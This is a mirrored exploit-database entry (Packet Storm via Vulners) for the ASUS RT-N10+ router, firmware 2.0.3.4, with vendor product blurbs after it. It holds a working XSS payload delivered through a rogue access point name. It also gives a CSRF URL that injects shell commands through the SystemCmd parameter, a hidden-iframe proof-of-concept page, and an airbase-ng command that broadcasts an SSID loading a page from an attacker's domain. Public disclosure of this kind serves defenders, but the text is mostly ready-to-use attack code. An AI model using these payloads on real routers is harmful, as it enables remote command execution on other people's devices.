Lucene search
K

ASUS RT-N10+ 2.0.3.4 CSRF / XSS / Command Execution

🗓️ 14 Oct 2019 00:00:00Reported by Matheus VrechType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 173 Views

ASUS RT-N10+ 2.0.3.4 CSRF / XSS / Command Execution

Code
`# Exploit Title: XSS And CSRF to RCE in ASUS RT-N10 Repeater Mode  
# Date: 13/10/2019  
# Exploit Author: Matheus Vrech  
# Vendor Homepage: https://www.asus.com/  
# Version: ASUS RT-N10+, Firmware: 2.0.3.4  
# Tested on: Archlinux, Windows 10  
  
# XSS:  
# when someone change router to repeater mode you should be able to trigger javascript code:  
# just create an AP with the payload ad wait the person to look for the available routers to repeat  
vulnerable page: http://192.168.1.1/survey.htm  
payload: <svg/onload="alert('xss')">  
  
# CSRF + RCE  
# it's possible to inject commands into the router by just triggering a authenticated user to acess the following url:  
# change COMMAND to yout command  
vulnerable url: http://192.168.1.1/apply.cgi?current_page=Main_AdmStatus_Content.asp&next_page=Main_AdmStatus_Content.asp&next_host=&sid_list=FirewallConfig%3B&group_id=&modified=0&action_mode=+Refresh+&first_time=&action_script=&preferred_lang=EN&SystemCmd=COMMAND&action=Refresh"  
  
# With both of them it's possible to execute command abusing the repeater mode XSS  
  
POC:  
# create the page:  
  
<html>  
<head>  
</head>  
<body>  
<iframe style="display: none" src="http://192.168.1.1/apply.cgi?current_page=Main_AdmStatus_Content.asp&next_page=Main_AdmStatus_Content.asp&next_host=&sid_list=FirewallConfig%3B&group_id=&modified=0&action_mode=+Refresh+&first_time=&action_script=&preferred_lang=EN&SystemCmd=touch /tmp/pwned&action=Refresh"></iframe>  
</body>  
</html>  
  
# start your AP:  
airbase-ng -e "<iframe src="//your.domain">" -c 8 -v wlp2s0mon  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation